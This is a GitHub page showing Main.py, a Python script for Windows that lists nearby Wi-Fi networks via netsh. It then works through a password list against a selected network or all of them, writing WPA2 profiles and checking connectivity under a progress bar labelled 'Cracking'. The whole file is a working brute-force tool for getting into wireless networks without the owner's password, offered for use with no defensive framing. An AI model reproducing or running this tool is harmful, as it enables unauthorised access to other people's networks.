-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMain.py
More file actions
221 lines (175 loc) · 8.34 KB
/
Main.py
File metadata and controls
221 lines (175 loc) · 8.34 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
from alive_progress import alive_bar
import requests
import subprocess
import time
from Colors import bcolors
import passwords
def connect_to_wifi(ssid, password):
# print(f" ➡️ {bcolors.OKCYAN}"+ssid+f"{bcolors.ENDC}:{bcolors.CYAN}"+password+f"{bcolors.ENDC}")
try:
# Connect to the Wi-Fi network using netsh
command = f'netsh wlan set hostednetwork mode=disallow'
subprocess.run(command, shell=True, capture_output=True, text=True) # Disable hosted network if it's on
# Create a profile
create_wifi_profile(ssid, password, "wifiprofile.xml")
subprocess.run(f'netsh wlan add profile filename=wifiprofile.xml', shell=True, capture_output=True, text=True)
# Try to connect
connect_command = f'netsh wlan connect ssid={ssid} interface=Wi-Fi name={ssid}'
result = subprocess.run(connect_command, shell=True, capture_output=True, text=True)
time.sleep(10)
if is_connected():
# print(f" ✅ {bcolors.OKGREEN}Success{bcolors.ENDC}.")
return True
return False
except Exception as e:
print(f"An error occurred while trying to connect to {ssid}: {str(e)}")
return False
def create_wifi_profile(ssid, password, filename):
xml_content = f'''<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>{ssid}</name>
<SSIDConfig>
<SSID>
<name>{ssid}</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>{password}</keyMaterial>
</sharedKey>
</security>
</MSM>
<MacRandomization xmlns="http://www.microsoft.com/networking/WLAN/profile/v3">
<enableRandomization>false</enableRandomization>
</MacRandomization>
</WLANProfile>
'''
with open(filename, 'w') as f:
f.write(xml_content)
def is_connected():
try:
response = requests.get('https://www.google.com')
return int(response.status_code) == 200
except Exception as e:
# print(str(e))
return False
def list_wifi_networks():
# Run the netsh command to list available Wi-Fi networks
command = "netsh wlan show networks mode=bssid"
result = subprocess.run(command, capture_output=True, text=True, shell=True)
# Extract SSIDs from the output
networks = {}
currentSSID = ""
for line in result.stdout.splitlines():
line = line.strip()
if line.startswith("SSID"):
s = line.split(":")[1].strip()
networks[s] = {'SSID': s}
currentSSID = s
elif line.startswith("Signal"):
s = line.split(":")[1].strip()
networks[currentSSID]['Signal'] = s
elif line.startswith("Authentication"):
s = line.split(":")[1].strip()
networks[currentSSID]['Authentication'] = s
elif line.startswith("Encryption"):
s = line.split(":")[1].strip()
networks[currentSSID]['Encryption'] = s
elif line.startswith("BSSID"):
s = line.split(":")[1].strip()
networks[currentSSID]['BSSID'] = s
elif line.startswith("Band"):
s = line.split(":")[1].strip()
networks[currentSSID]['Band'] = s
elif line.startswith("Signal"):
s = line.split(":")[1].strip()
networks[currentSSID]['Signal'] = s
elif line.startswith("Radio type"):
s = line.split(":")[1].strip()
networks[currentSSID]['Radio Type'] = s
# Sort by highest signal strength
sorted_networks = sorted(networks.items(), key=lambda x: int(x[1].get('Signal', '0').replace('%', '').strip()), reverse=True)
sorted_network_dict = {ssid: details for ssid, details in sorted_networks}
return sorted_network_dict
def thinBorderBlue():
print(f"{bcolors.BLUE}+{bcolors.ENDC}" + (f"{bcolors.BLUE}-{bcolors.ENDC}{bcolors.BLUE}-{bcolors.ENDC}{bcolors.CYAN}-{bcolors.ENDC}{bcolors.OKCYAN}-{bcolors.ENDC}{bcolors.CYAN}-{bcolors.ENDC}{bcolors.BLUE}-{bcolors.ENDC}{bcolors.BLUE}-{bcolors.ENDC}" * 12) + f"{bcolors.ENDC}{bcolors.BLUE}+{bcolors.ENDC}")
def main():
thinBorderBlue()
print(f" {bcolors.FAIL}WARNING: To use this tool effectively, disconnect from WiFi, run as an administrator, and make sure your location services are turned on for Windows apps.\n You may also need to forget saved WiFi profiles if you have connected to the network before.\n The tool is slow, so be prepared to let it run for a while.")
thinBorderBlue()
thinBorderBlue()
# List available Wi-Fi networks
networks = []
while not networks:
networks = list_wifi_networks()
print(f" Detecting [{bcolors.WARNING}"+str(len(networks))+f"{bcolors.ENDC}] networks...")
if not networks:
time.sleep(5)
thinBorderBlue()
# Print available networks
print(" Available Wi-Fi Networks:")
ssids = []
i = 1
for ssid in networks:
print(f" {bcolors.WARNING}{i}{bcolors.ENDC}. "+f"{bcolors.OKCYAN}"+networks[ssid]["SSID"]+f"{bcolors.ENDC}",end="")
# Authentication
if "Authentication" in networks[ssid] and networks[ssid]["Authentication"]:
print(f" (🔒 {bcolors.WARNING}"+networks[ssid]["Authentication"]+f"{bcolors.ENDC})",end="")
# Encryption
if "Encryption" in networks[ssid] and networks[ssid]["Encryption"]:
print(f" ({bcolors.YELLOW}"+networks[ssid]["Encryption"]+f"{bcolors.ENDC})",end="")
# Band
if "Band" in networks[ssid] and networks[ssid]["Band"]:
print(f" ({bcolors.WARNING}"+networks[ssid]["Band"]+f"{bcolors.ENDC})",end="")
# Signal
if "Signal" in networks[ssid] and networks[ssid]["Signal"]:
number = int((networks[ssid]["Signal"]).replace('%', ''))
if number > 90:
print(f" ({bcolors.OKGREEN}"+networks[ssid]["Signal"]+f"{bcolors.ENDC})",end="")
elif number > 70:
print(f" ({bcolors.GREEN}"+networks[ssid]["Signal"]+f"{bcolors.ENDC})",end="")
else:
print(f" ({bcolors.FAIL}"+networks[ssid]["Signal"]+f"{bcolors.ENDC})",end="")
print("")
i+=1
ssids.append(ssid)
thinBorderBlue()
# Ask the user to select a network to connect to
userInput = input(f" Select a network, or input all ({bcolors.OKGREEN}a{bcolors.ENDC}) to try them all: {bcolors.OKGREEN}")
print(f"{bcolors.ENDC}",end="")
thinBorderBlue()
if userInput:
if userInput == "a":
# Cycle through all available networks trying them all
n = len(passwords.wifiPasswords) * len(ssids)
with alive_bar(n, title=f"➡️ Cracking") as bar:
for password in passwords.wifiPasswords:
for ssid in ssids:
bar.text(f"{bcolors.OKCYAN}{ssid}{bcolors.ENDC}:{bcolors.CYAN}{password}{bcolors.ENDC}")
if connect_to_wifi(ssid, password):
bar()
return
bar()
else:
# Focus on selected network only
selected_index = int(userInput) - 1
selected_ssid = ssids[selected_index]
n = len(passwords.wifiPasswords)
with alive_bar(n, title=f"➡️ Cracking") as bar:
for password in passwords.wifiPasswords:
bar.text(f"{bcolors.OKCYAN}{selected_ssid}{bcolors.ENDC}:{bcolors.CYAN}{password}{bcolors.ENDC}")
if connect_to_wifi(selected_ssid, password):
bar()
return
bar()
main()